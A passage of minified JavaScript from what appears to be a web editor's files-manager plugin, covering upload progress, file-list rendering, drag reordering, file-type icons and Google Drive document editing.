V(e){if(!R.core.sameInstance(l))return!0;if(c&&w){if(e&&e.stopPropagation(),R.$el.find("img.fr-error").left)return!1;c=null,d.hide(),$(),R.undo.saveStep(),R.events.trigger("image.resizeEnd",[st()])}else l.removeClass("fr-active")}function Y(){T.forEach(function(e,t){var a=R.popups.get("filesManager.insert");a.find(".fr-checkbox-file-"+t).get(0).disabled=!0,document.getElementById("fr-file-autoplay-button-"+t)&&(document.getElementById("fr-file-autoplay-button-"+t).disabled=!0,document.getElementById("fr-file-autoplay-button-"+t).parentElement.classList.add("fr-checkbox-disabled"),document.getElementById("fr-file-autoplay-button-"+t).parentElement.classList.remove("fr-files-checkbox")),a.find(".fr-checkbox-"+t).get(0).classList.remove("fr-files-checkbox"),a.find(".fr-checkbox-"+t).get(0).classList.add("fr-checkbox-disabled")})}function j(e,t,a,n){R.edit.on(),w&&w.addClass("fr-error"),v[e]?(e!=k&&e!=m&&e!=S||_e(100,n,!0),T.set(n,v[e]),Y(),function r(){T.forEach(function(e,t){R.popups.get("filesManager.insert"),document.getElementById("fr-file-edit-button-".concat(t))&&(document.getElementById("fr-file-edit-button-".concat(t)).classList.add("fr-disabled"),document.getElementById("fr-file-view-button-".concat(t)).classList.add("fr-disabled"),document.getElementById("fr-file-insert-button-".concat(t)).classList.add("fr-disabled"))})}(),ae(R.language.translate(v[e]),n)):ae(R.language.translate("Something went wrong. Please try again."),n),!w&&a&&qe(a),R.events.trigger("filesManager.error",[{code:e,message:v[e]},t,a])}function q(){var e=R.popups.get("filesManager.insert"),t=e.find('.fr-command[data-cmd="insertAll"]'),a=e.find('.fr-command[data-cmd="deleteAll"]'),n=!0;F.forEach(function r(e,t,a){F.get(t)&&(n=!1)}),n?t.addClass("fr-disabled"):t.removeClass("fr-disabled"),n?a.addClass("fr-disabled"):a.removeClass("fr-disabled")}function X(e){O.get(e)&&O.get(e).link&&R.events.trigger("filesManager.removed",[O.get(e).link]);var t=R.popups.get("filesManager.insert");t.find(".fr-file-"+e).get(0)!==undefined&&(t.find(".fr-file-"+e).get(0).outerHTML=""),O["delete"](e),I["delete"](e),F["delete"](e),q(),0==I.size&&(g=0),T["delete"](e),R.popups.setPopupDimensions(t,!0),R.opts.toolbarBottom?E(!0):R.popups.setPopupDimensions(t),t.find(".fr-upload-progress")&&0==I.size&&t.find(".fr-upload-progress").addClass("fr-none")}function Z(){for(var e=R.popups.get("filesManager.insert"),t=e.find(".fr-insert-checkbox"),a=0;a<t.length;a++)t.get(a).children.target.checked=!1,e.find(".fr-file-"+t.get(a).id.split("-").pop()).get(0).classList.add("fr-unchecked");if(L)document.getElementById("fr-file-autoplay-button-".concat(L))&&(document.getElementById("fr-file-autoplay-button-".concat(L)).checked=!1),M=M.filter(function(e){return e!=L});else{for(var n=e.find(".fr-file-autoplay-button"),r=0;r<n.length;r++)n.get(r).checked=!1;M=[]}F=new Map,q()}function Q(e){var t=R.popups.get("filesManager.insert");if(t||(t=He()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-files-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),w){var a=lt();R.popups.setContainer("filesManager.insert",R.$sc);var n=a.offset().left,r=a.offset().top+a.height();R.popups.show("filesManager.insert",n,r,a.outerHeight())}void 0===e&&ee(R.language.translate("Uploading"),0)}function J(e){var t=R.popups.get("filesManager.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-files-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||R.$el.find("img.fr-error").length)){if(R.events.focus(),R.$el.find("img.fr-error").length&&(R.$el.find("img.fr-error").remove(),R.undo.saveStep(),R.undo.run(),R.undo.dropRedo()),!R.$wp&&w){var a=w;at(!0),R.selection.setAfter(a.get(0)),R.selection.restore()}R.popups.hide("filesManager.insert")}}function ee(e,t){var a=R.popups.get("filesManager.insert");if(a){var n=a.find(".fr-files-progress-bar-layer");n.find("h3").text(e+(t?" ".concat(t,"%"):"")),n.removeClass("fr-error"),t?(n.find("div").removeClass("fr-indeterminate"),n.find("div > span").css("width","".concat(t,"%"))):n.find("div").addClass("fr-indeterminate")}}function te(e){Q();var t=R.popups.get("filesManager.insert").find(".fr-files-progress-bar-layer");t.addClass("fr-error");var a=t.find("h3");a.text(e),R.events.disableBlur(),a.focus()}function ae(e,t){var a=R.popups.get("filesManager.insert"),n=a.find(".fr-upload-progress-layer"),r=a.find(".fr-file-".concat(t));n.addClass("fr-error"),r.find("h5").text(e)}v[D]="File cannot be loaded from the passed link.",v[m]="No link in upload response.",v[k]="Error during file upload.",v[S]="Parsing response failed.",v[N]="File is too large.",v[P]="File type is invalid.",v[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",v[8]="File is corrupted.",v[9]="Error during file loading.",v[B]="File upload cancelled";var a,ne,re,ie,oe,se,n,le,ce,de,fe="";function pe(e){fe=e,a=document.getElementsByClassName(e),Array.prototype.map.call(a,function(e){!function n(e){if(e.addEventListener("dragover",function(e){e.preventDefault(),e.stopPropagation(),ne=e.pageX,re=e.pageY;var t=document.getElementById("filesList");re+20>t.getBoundingClientRect().bottom&&ue(t,0,10),re-20<t.getBoundingClientRect().top&&ue(t,0,-10)},!1),R.helpers.isMobile()){var t=e.getElementsByClassName("dot");t[0].addEventListener("touchmove",function(e){e.preventDefault(),e.stopPropagation();for(var t=e.target;t&&!t.classList.contains(fe);)t=t.parentElement;for(var a=document.elementFromPoint(e.targetTouches[0].clientX,e.targetTouches[0].clientY);a&&!a.classList.contains(fe);)a=a.parentElement;var n=document.getElementsByClassName("fr-hovered-over-file");Array.prototype.forEach.call(n,function(e){e.classList.remove("fr-hovered-over-file")}),a&&!t.classList.contains("fr-unchecked")&&a.classList.add("fr-hovered-over-file");var r=document.getElementById("filesList");e.targetTouches[0].clientY+5>r.getBoundingClientRect().bottom&&ue(r,0,5),e.targetTouches[0].clientY-5<r.getBoundingClientRect().top&&ue(r,0,-5)},!1)}if(e.ondrag=ge,e.ondragend=he,R.helpers.isMobile()){var a=e.getElementsByClassName("dot");a[0].addEventListener("touchmove",ge,!1),a[0].addEventListener("touchend",he,!1)}}(e)})}function ue(e,t,a){e.scrollLeft+=t,e.scrollTop+=a}function ge(e){for(R.helpers.isMobile()&&(oe=event.touches[0].clientX,se=event.touches[0].clientY),ie=e.target;!ie.classList.contains(fe);)ie=ie.parentElement;ie.classList.contains(fe)&&!ie.classList.contains("fr-unchecked")?R.helpers.isMobile()&&ie.classList.add("drag-sort-active"):ie=undefined}function he(e){var t;if(ie!==undefined){var a,n;if(R.helpers.isMobile())for(a=oe,n=se,t=event.target;!t.classList.contains(fe);)t=t.parentElement;else a=event.clientX,n=event.clientY;R.helpers.isMobile()||!R.browser.safari&&!R.browser.mozilla||(a=ne,n=re);for(var r=document.elementFromPoint(a,n);r&&!r.classList.contains(fe);)r=r.parentElement;r&&!r.classList.contains(fe)?r=undefined:r&&ie!==r&&function s(e,t){var a,n,r=e.parentNode,i=t.parentNode;if(!r||!i||r.isEqualNode(t)||i.isEqualNode(e))return;for(var o=0;o<r.children.length;o++)r.children[o].isEqualNode(e)&&(a=o);for(var o=0;o<i.children.length;o++)i.children[o].isEqualNode(t)&&(n=o);r.isEqualNode(i)&&a<n&&n++;r.insertBefore(t,r.children[a]),i.insertBefore(e,i.children[n])}(ie,r),R.helpers.isMobile()&&(t.classList.remove("fr-hovered-over-file"),r.classList.remove("fr-hovered-over-file"))}}function me(e){var n=R.popups.get("filesManager.insert");n.find(".fr-upload-progress-layer").hasClass("fr-active")||n.find(".fr-upload-progress-layer").addClass("fr-active"),n.find(".fr-upload-progress").removeClass("fr-none");var t=I.get(e),a=function o(e){var t,a={weekday:"long",year:"numeric",month:"long",day:"numeric"};try{t=e.toLocaleDateString(R.opts.language?R.opts.language:undefined,a)}catch(n){t=e.toLocaleDateString(undefined,a)}return t+""}(new Date),r=F.get(e)?"":"fr-unchecked ",i="\n <div id='fr-file-".concat(e,"' class='fr-file-list-item fr-file-").concat(e," ").concat(r,"' draggable = \"").concat(!r,'" >\n <div class=\'fr-file-item-left\' >\n\n \n <div class="fr-file-item-insert-checkbox fr-files-checkbox-line">\n ').concat(R.helpers.isMobile()?"<div id='fr-pick-".concat(e,"}' class='dot'>\n </div>"):"",'\n <div id="checkbox-key-').concat(e,'" class="fr-files-checkbox fr-insert-checkbox fr-checkbox-').concat(e,'">\n <input name="target" class="fr-insert-attr fr-checkbox-file-').concat(e,' fr-file-insert-check" data-cmd="fileInsertCheckbox"\n data-checked="_blank" type="checkbox" id="fr-link-target-').concat(R.id,'" tabIndex="0" />\n <span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','\n </span>\n </div>\n <label id="fr-label-target-').concat(R.id,"\"></label>\n </div>\n \n <div class='fr-file-item-icon fr-file-item-icon-").concat(e,"' >\n <img src='https://secure.webtoolhub.com/static/resources/icons/set112/f2afb6f7.png' alt='Image preview' class='fr-thumbnail-padding' height='36px' width='36px' />\n </div>\n\n <div class='fr-file-item-description' >\n <div class='fr-file-name fr-files-manager-tooltip'>\n ").concat(function s(e,t,a){null==t&&(t=100);null==a&&(a="...");return e.length>t?e.substring(0,t-a.length)+a:e}(t.name,20),'\n <span class="').concat(20<t.name.length?"tooltiptext":"fr-none",'">').concat(t.name,"\n </span>\n </div>\n <div class='fr-file-details'>\n <div class='fr-file-date'>").concat(a,"\n </div>\n \n <div class='fr-file-size'>\n ").concat(function l(e){if(0==e)return"0 Bytes";var t=Math.floor(Math.log(e)/Math.log(1024));return" | "+1*(e/Math.pow(1024,t)).toFixed(2)+" "+["Bytes","KB","MB","GB","TB"][t]}(t.size),"\n </div>\n </div>\n\n <div class='fr-file-error'>\n <h5 class='fr-file-error-h5'></h5>\n </div>\n </div>\n \n </div>\n\n <div class='fr-file-item-right fr-file-item-right-").concat(e,"'>")+Ee(e)+"</div>\n </div>";n.find(".fr-upload-progress-layer")[0].innerHTML=i+n.find(".fr-upload-progress-layer")[0].innerHTML,I.forEach(function c(e,t,a){F.get(t)&&n.find("input.fr-insert-attr.fr-checkbox-file-".concat(t))[0].setAttribute("checked",null)}),M.forEach(function(e){document.getElementById("fr-file-autoplay-button-"+e).checked=!0}),be(e,t),J(),R.opts.toolbarBottom?E(!0):R.popups.setPopupDimensions(n),pe("fr-file-list-item")}function ve(e){switch(e){case"application/msword":return R.icon.getFileIcon("docIcon");case"application/vnd.openxmlformats-officedocument.wordprocessingml.document":return R.icon.getFileIcon("docxIcon");case"image/gif":return R.icon.getFileIcon("gifIcon");case"image/jpeg":return R.icon.getFileIcon("jpegIcon");case"image/jpeg":return R.icon.getFileIcon("jpgIcon");case"type/text":return R.icon.getFileIcon("logIcon");case"video/quicktime":return R.icon.getFileIcon("movIcon");case"audio/mp3":case"audio/mpeg":return R.icon.getFileIcon("mp3Icon");case"video/mp4":return R.icon.getFileIcon("mp4Icon");case"audio/ogg":return R.icon.getFileIcon("oggIcon");case"video/ogg":return R.icon.getFileIcon("ogvIcon");case"application/pdf":return R.icon.getFileIcon("pdfIcon");case"image/png":return R.icon.getFileIcon("pngIcon");case"text/plain":return R.icon.getFileIcon("txtIcon");case"video/webm":return R.icon.getFileIcon("webmIcon");case"image/webp":return R.icon.getFileIcon("webpIcon");case"video/x-ms-wmv":return R.icon.getFileIcon("wmvIcon");case"application/vnd.ms-excel":return R.icon.getFileIcon("xlsIcon");case"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":return R.icon.getFileIcon("xlsxIcon");case"application/x-zip-compressed":case"application/zip":return R.icon.getFileIcon("zipIcon");default:return R.icon.getFileIcon("defaultIcon")}}function be(n,r,e){var i=R.popups.get("filesManager.insert"),t=i.find(".fr-file-item-icon-"+n).get(0);if(De(Re(r))&&"image/gif"!=Re(r)&&"image/webp"!=Re(r)){"a"!=t.children[0].localName&&(t.innerHTML="<a target='_blank' href=''>"+t.innerHTML+"</a>");i.find(".fr-file-item-icon-"+n).get(0).children[0].children[0];var o=new FileReader;if(null!=e&&e){var a=I.get(n);r.name=a.name,I.set(n,r)}if(o.onloadend=function(){i.find(".fr-file-item-icon-"+n).get(0).children[0].children[0].src=o.result;for(var e=atob(o.result.split(",")[1]),t=[],a=0;a<e.length;a++)t.push(e.charCodeAt(a));i.find(".fr-file-item-icon-"+n).get(0).children[0].href=window.URL.createObjectURL(new Blob([new Uint8Array(t)],{type:Re(r)})),i.find(".fr-file-item-icon-"+n).get(0).classList.add("fr-file-item-thumbnail-hover")},r)o.readAsDataURL(r);else{var s=ve(Re(r));t.innerHTML='<svg height="40px" width="40px" viewBox="0 0 55 5" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n '.concat(s.path,"\n </svg>")}}else{var l=ve(Re(r));t.innerHTML='<svg height="40px" width="40px" viewBox="0 0 55 55" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n '.concat(l.path,"\n </svg>")}}function Ee(e){var t="";if(Pe(Re(I.get(e)))){var a="fr-files-checkbox",n="";Ue(Re(I.get(e)))||(a="fr-checkbox-disabled",n="disabled");t='\n <div class="fr-files-checkbox-line align-autoplay">\n <div id="checkbox-key-'.concat(e,'" class="').concat(a," fr-autoplay-checkbox fr-checkbox-").concat(e,'"> \n \n <input type="checkbox" id="fr-file-autoplay-button-').concat(e,'" class="fr-file-button-').concat(e,' fr-file-autoplay-button" data-title="Edit" data-param1="').concat(e,'" role="button" ').concat(n,"/>\n\n <span>").concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>'," </span>\n </div> \n <label class='fr-autoplay-checkbox-label'>Autoplay </label>\n </div>")}var r="application/msword",i="application/vnd.openxmlformats-officedocument.wordprocessingml.document",o="";return!Be(Re(I.get(e)))&&Ue(Re(I.get(e)))||(s="fr-disabled"),Pe(Re(I.get(e)))&&(s="fr-disabled"),Ne(Re(I.get(e)))&&(s="fr-disabled",Re(I.get(e))!=r&&Re(I.get(e))!=i||R.opts.googleOptions&&!R.helpers.isMobile()&&R.opts.googleOptions.API_KEY&&R.opts.googleOptions.CLIENT_ID&&(s=""),"text/plain"!=Re(I.get(e))&&Re(I.get(e))!=r&&"application/pdf"!=Re(I.get(e))&&Re(I.get(e))!=i&&"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"!=Re(I.get(e))&&"application/vnd.ms-excel"!=Re(I.get(e))&&"type/text"!=Re(I.get(e))||(o="")),"video/url"===Re(I.get(e))&&(s="fr-disabled"),t+='<div class=\'fr-file-item-action-buttons\' >\n <button type="button" id="fr-file-insert-button-'.concat(e,'" class=" fr-doc-edit-').concat(e," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-").concat(e," fr-file-insert-button-").concat(e,' fr-file-insert-button" data-cmd="imageInsertByUpload" data-title="Insert" data-param1="').concat(e,'" tabIndex="2" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-5 0 28 28" xlmns = "http://w3.org/200/svg"><path d = \'M 9.25 12 L 6.75 12 C 6.335938 12 6 11.664062 6 11.25 L 6 6 L 3.257812 6 C 2.703125 6 2.425781 5.328125 2.820312 4.933594 L 7.570312 0.179688 C 7.804688 -0.0546875 8.191406 -0.0546875 8.425781 0.179688 L 13.179688 4.933594 C 13.574219 5.328125 13.296875 6 12.742188 6 L 10 6 L 10 11.25 C 10 11.664062 9.664062 12 9.25 12 Z M 16 11.75 L 16 15.25 C 16 15.664062 15.664062 16 15.25 16 L 0.75 16 C 0.335938 16 0 15.664062 0 15.25 L 0 11.75 C 0 11.335938 0.335938 11 0.75 11 L 5 11 L 5 11.25 C 5 12.214844 5.785156 13 6.75 13 L 9.25 13 C 10.214844 13 11 12.214844 11 11.25 L 11 11 L 15.25 11 C 15.664062 11 16 11.335938 16 11.75 Z M 12.125 14.5 C 12.125 14.15625 11.84375 13.875 11.5 13.875 C 11.15625 13.875 10.875 14.15625 10.875 14.5 C 10.875 14.84375 11.15625 15.125 11.5 15.125 C 11.84375 15.125 12.125 14.84375 12.125 14.5 Z M 14.125 14.5 C 14.125 14.15625 13.84375 13.875 13.5 13.875 C 13.15625 13.875 12.875 14.15625 12.875 14.5 C 12.875 14.84375 13.15625 15.125 13.5 15.125 C 13.84375 15.125 14.125 14.84375 14.125 14.5 Z M 14.125 14.5 \'></path></svg>\n </button>\n\n <button type="button" id="fr-file-edit-button-').concat(e,'" class=" fr-doc-edit-').concat(e," ").concat(s," fr-img-icon fr-btn fr-command fr-submit \n fr-file-action-icons fr-file-edit-button-").concat(e," fr-file-button-").concat(e,' fr-file-edit-button" data-cmd="editImage" data-title="Edit" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "0 4 25 25" xlmns = "http://w3.org/200/svg"><path d = \'M17,11.2L12.8,7L5,14.8V19h4.2L17,11.2z M7,16.8v-1.5l5.6-5.6l1.4,1.5l-5.6,5.6H7z M13.5,6.3l0.7-0.7c0.8-0.8,2.1-0.8,2.8,0 c0,0,0,0,0,0L18.4,7c0.8,0.8,0.8,2,0,2.8l-0.7,0.7L13.5,6.3z\'></path></svg>\n </button>\n \n <span class="fr-file-view-').concat(e,'"><button type="button" id="fr-file-view-button-').concat(e,'" class=" fr-doc-edit-').concat(e," ").concat(o," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-view-button-").concat(e,' fr-file-view-button" data-cmd="viewImage" data-title="View" data-param1="').concat(e,'" tabIndex="2" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "15 19 21 21" xlmns = "http://w3.org/200/svg"> <path style="fill:none;stroke-width:0.9077;stroke-linecap:round;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 19.086094 16.541466 C 16.185625 16.541466 14.318281 19.447115 14.318281 19.447115 L 14.318281 19.555288 C 14.318281 19.555288 16.176719 22.475962 19.077187 22.475962 C 21.977656 22.475962 23.847969 19.576322 23.847969 19.576322 L 23.847969 19.465144 C 23.847969 19.465144 21.989531 16.541466 19.086094 16.541466 Z M 19.07125 21.024639 C 18.248906 21.024639 17.583906 20.357572 17.583906 19.53726 C 17.583906 18.716947 18.248906 18.04988 19.07125 18.04988 C 19.890625 18.04988 20.555625 18.716947 20.555625 19.53726 C 20.555625 20.357572 19.890625 21.024639 19.07125 21.024639 Z M 19.07125 21.024639 " transform="matrix(1.315789,0,0,1.3,0,0)"/></svg></button></span>\n\n <button type="button" id="fr-file-delete-button-').concat(e,'" class=" fr-doc-edit-').concat(e," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons\n fr-file-button-").concat(e,' fr-file-delete-button" data-cmd="deleteImage" data-title="Delete" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z\'></path></svg>\n </button>\n \n </div>\n <div id="user_area-').concat(e,"\" style=\"display: none;\">\n \n <div id=\"file_container\"></div>\n\n <div style='display:block;text-align: center; margin-left:50%; id='edit-file-loader' class='fr-file-loader'></div>\n\n </div> \n ")}function _e(e,t,a){var n=R.popups.get("filesManager.insert");if(!a&&e<=100){n.find(".fr-checkbox-file-"+t).get(0).disabled=!0,n.find(".fr-checkbox-"+t).get(0).classList.remove("fr-files-checkbox"),n.find(".fr-checkbox-"+t).get(0).classList.add("fr-checkbox-disabled");var r=n.find(".fr-file-progress-circle-"+t),i=n.find(".fr-file-upload-percent-"+t);return 50<e?r.get(0).setAttribute("class","fr-file-progress-circle-"+t+" progress-circle p"+Math.floor(e)+" over50"):r.get(0).setAttribute("class","fr-file-progress-circle-"+t+" progress-circle p"+Math.floor(e)),i.get(0).innerHTML=Math.floor(e)+"%",void we(t,e,a)}a&&(n.find(".fr-checkbox-file-"+t).get(0).disabled=!1,n.find(".fr-checkbox-"+t).get(0).classList.remove("fr-checkbox-disabled"),n.find(".fr-checkbox-"+t).get(0).classList.add("fr-files-checkbox"),n.find(".fr-file-item-right-"+t).get(0).innerHTML=Ee(t),we(t,100,a))}function we(e,t,a){var n=R.popups.get("filesManager.insert");n.find(".fr-progress-bar").removeClass("fr-none").addClass("fr-display-block"),n.find(".fr-upload-progress").hasClass("fr-height-set")&&R.popups.setFileListHeight(n);var r=0;C.set(e,t),C.forEach(function(e,t){r+=e}),r/=C.size,100==t&&a&&i++,n.find('.fr-command[data-cmd="filesUpload"]').addClass("fr-disabled"),n.find('.fr-command[data-cmd="filesByURL"]').addClass("fr-disabled"),n.find('.fr-command[data-cmd="filesEmbed"]').addClass("fr-disabled"),n.find(".fr-progress-bar").get(0).style.width=r+"%",i==C.size&&(n.find(".fr-progress-bar").removeClass("fr-display-block").addClass("fr-none"),C=new Map,i=0,n.find('.fr-command[data-cmd="filesUpload"]').removeClass("fr-disabled"),n.find('.fr-command[data-cmd="filesByURL"]').removeClass("fr-disabled"),n.find('.fr-command[data-cmd="filesEmbed"]').removeClass("fr-disabled"))}function ye(a,n){J(),R.popups.get("filesManager.insert").find(".fr-upload-progress-layer").addClass("fr-active"),a.forEach(function(e,t){De(Re(e))&&R.opts.imageUploadRemoteUrls&&R.opts.imageCORSProxy&&R.opts.imageUpload?Oe(e,a,w,n[t]):O.set(n[t],e)})}function Ae(e){e&&e.get&&function a(e){if("false"==x(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(e&&"touchend"==e.type&&de)return!0;if(e&&R.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;for(var t=0;t<St.INSTANCES.length;t++)St.INSTANCES[t]!=R&&St.INSTANCES[t].events.trigger("image.hideResizer");R.toolbar.disable(),e&&(e.stopPropagation(),e.preventDefault());R.helpers.isMobile()&&(R.events.disableBlur(),R.$el.blur(),R.events.enableBlur());R.opts.iframe&&R.size.syncIframe();w=x(this),$(),R.browser.msie?(R.popups.areVisible()&&R.events.disableBlur(),R.win.getSelection&&(R.win.getSelection().removeAllRanges(),R.win.getSelection().addRange(R.doc.createRange()))):R.selection.clear();R.helpers.isIOS()&&(R.events.disableBlur(),R.$el.blur());R.button.bulkRefresh(),R.events.trigger("video.hideResizer")}.call(e.get(0))}function Ce(){var e=x(this);e.removeClass("fr-uploading"),e.next().is("br")&&e.next().remove(),(0==r.length||0<r.length&&r.length==u)&&(f=e),"VIDEO"==e.get(0).tagName||"AUDIO"==e.get(0).tagName?R.selection.setAfter(e.parent()):R.selection.setAfter(e),R.undo.saveStep(),R.events.trigger("filesManager.loaded",[e]),ke(r)}function Te(){var e,t=Array.prototype.slice.call(R.el.querySelectorAll("video, .fr-video > *")),a=[];for(e=0;e<t.length;e++)a.push(t[e].getAttribute("src")),x(t[e]).toggleClass("fr-draggable",R.opts.videoMove),""===t[e].getAttribute("class")&&t[e].removeAttribute("class"),""===t[e].getAttribute("style")&&t[e].removeAttribute("style");if(n)for(e=0;e<n.length;e++)a.indexOf(n[e].getAttribute("src"))<0&&R.events.trigger("video.removed",[x(n[e])]);n=t}function ke(e){if(null!=e){if(0==e.length)return void(null!=f&&("VIDEO"==f.get(0).tagName?R.video._editVideo(f.parent()):"IMG"==f.get(0).tagName?R.image.edit(f):f.trigger("click"),R.toolbar.disable()));Le(e.shift(),e)}}function Se(e){var t=!1;if(Pe(Re(O.get(e))))R.trimVideoPlugin.trimVideo(I.get(e),e,I),t=!0;else if(De(Re(O.get(e)))){var a=O.get(e).link,n=R.o_doc.createElement("img");n.src=a,w=n,o=e,R.imageTUI.launch(R,!1,e),t=!0}else if(Ne(Re(O.get(e)))){var r={apiKey:R.opts.googleOptions.API_KEY,clientId:R.opts.googleOptions.CLIENT_ID,authorizeButton:"authorize_button-".concat(e),signoutButton:"signout_button",userArea:"user_area-".concat(e),fileInput:"file_input",fileIndex:e,file:I.get(e),fileContainer:"file_container",loadingText:"File is being uploaded...",events:{onInvalidFile:function(e){},onError:function(e){}}};ce=function d(p){var i,e=["https://www.googleapis.com/discovery/v1/apis/drive/v2/rest"],u="id,title,mimeType,userPermission,editable,copyable,shared,fileSize",g="-------314159265358979323846",h="\r\n--"+g+"\r\n",m="\r\n--"+g+"--",t=(document.getElementById(p.authorizeButton),document.getElementById(p.userArea));p.events||(p.events={});function a(){gapi.client.init({apiKey:p.apiKey,clientId:p.clientId,discoveryDocs:e,scope:"https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.appdata"}).then(function(){gapi.auth2.getAuthInstance().isSignedIn.listen(n),n(gapi.auth2.getAuthInstance().isSignedIn.get()),function t(e){!gapi.auth2.getAuthInstance().isSignedIn.get()||gapi.auth.getToken()!==undefined&&gapi.auth.getToken().access_token===undefined?Promise.resolve(gapi.auth2.getAuthInstance().signIn()).then(function(){o()}):o()}()},function(e){p.events.onError(e)})}function n(e){e&&(t.style.display="block")}function r(e){var t=gapi.auth.getToken().access_token,a=i,n="https://docs.google.com/feeds/download/documents/export/Export?id="+a+"&format=docx&access_token="+t,r=new XMLHttpRequest;r.open("get",n),r.responseType="arraybuffer",r.onload=function(){var e=new Blob([new Uint8Array(this.response)],{type:"application/vnd.openxmlformats-officedocument.wordprocessingml.document"}),t=I.get(p.fileIndex);e.name=t.name,e.lastModified=t.lastModified,e.lastModifiedDate=t.lastModifiedDate,I.set(p.fileIndex,e),R.filesManager.upload(e,O,w,p.fileIndex),l()},r.send()}function o(e){!function n(e){for(var t=document.getElementsByClassName("fr-doc-edit-".concat(e)),a=0;a<t.length;a++)t[a].setAttribute("disabled",!0),t[a].classList.add("fr-disabled")}(p.fileIndex);var t=p.file;t?function a(c,d){var f=new FileReader;f.readAsArrayBuffer(c),f.onload=function(e){for(var t={title:c.name,mimeType:"application/vnd.google-apps.document"},a="",n=new Uint8Array(f.result),r=n.byteLength,i=0;i<r;i++)a+=String.fromCharCode(n[i]);var o=btoa(a),s=h+"Content-Type: application/json; charset=UTF-8\r\n\r\n"+JSON.stringify(t)+h+"Content-Type: application/octet-stream\r\nContent-Transfer-Encoding: base64\r\n\r\n"+o+m,l=gapi.client.request({path:"/upload/drive/v2/files",method:"POST",params:{uploadType:"multipart",fields:u},headers:{"Content-Type":'multipart/related; boundary="'+g+'"',"Content-Length":s.Length},body:s});d||(d=function(e){}),l.execute(function(e,t){e.error?p.events.onError(e.error):d(e)})}}(t,s):p.events.onInvalidFile("File is not selected")}function s(e){i=e.id;var t="https://docs.google.com/document/d/"+e.id+"/edit",a=R.o_doc.body,n=R.o_doc.createElement("div");n.setAttribute("id","editDocContainer"),n.style.cssText="position: fixed; top: 0;left: 0;padding: 0;width: 100%;height: 100%;background: rgba(255,255,255,1);z-index: 9998;display:block",n.innerHTML='<div style="margin-top:25px; text-align:center"><label>Sign Out : </label><input type="checkbox" id ="markSignOut" role="button"/> <button id="signout_button" class="fr-trim-button" >Save </button> <button id="cancel_file_edit" class="fr-trim-button">Cancel</button></div> <iframe title="Edit your file" frameBorder="0" width="100%" height="700px" src="'+t+'"></iframe>',a.appendChild(n),document.getElementById("signout_button").onclick=r,document.getElementById("cancel_file_edit").onclick=l}function l(){document.getElementById("markSignOut").checked&&gapi.auth2.getAuthInstance().signOut().then(function(){gapi.auth.getToken()&&(gapi.auth.getToken().access_token=undefined)});var e=document.getElementById("editDocContainer");e.parentNode.removeChild(e),document.getElementById("user_area-".concat(p.fileIndex))&&(document.getElementById("user_area-".concat(p.fileIndex)).style.display="none"),function n(e){for(var t=document.getElementsByClassName("fr-doc-edit-".concat(e)),a=0;a<t.length;a++)t[a].removeAttribute("disabled"),t[a].classList.remove("fr-disabled")}(p.fileIndex)}p.events.onInvalidFile=p.events.onInvalidFile||function(e){},p.events.onError=p.events.onError||function(e){};var c={};return c.handleClientLoad=function(){gapi.load("client:auth2",a)},c}(r),function i(e,t){var n=function n(e,t){var a=document.createElement("script");a.src=e,a.onload=function(){this.onload=function(){},ce.handleClientLoad()},a.onreadystatechange=function(){"complete"===this.readyState&&this.onload()},(document.getElementsByTagName("head")[0]||document.body).appendChild(a)};!function a(){0!=e.length?n(e.shift(),a):t&&t()}()}(["https://apis.google.com/js/api.js"],function(){})}t&&(p=!0)}function Re(e){var a;if(""!=e.type)return e.type;if(e.name&&e.name.endsWith(".msg"))return a="application/vnd.ms-outlook";var 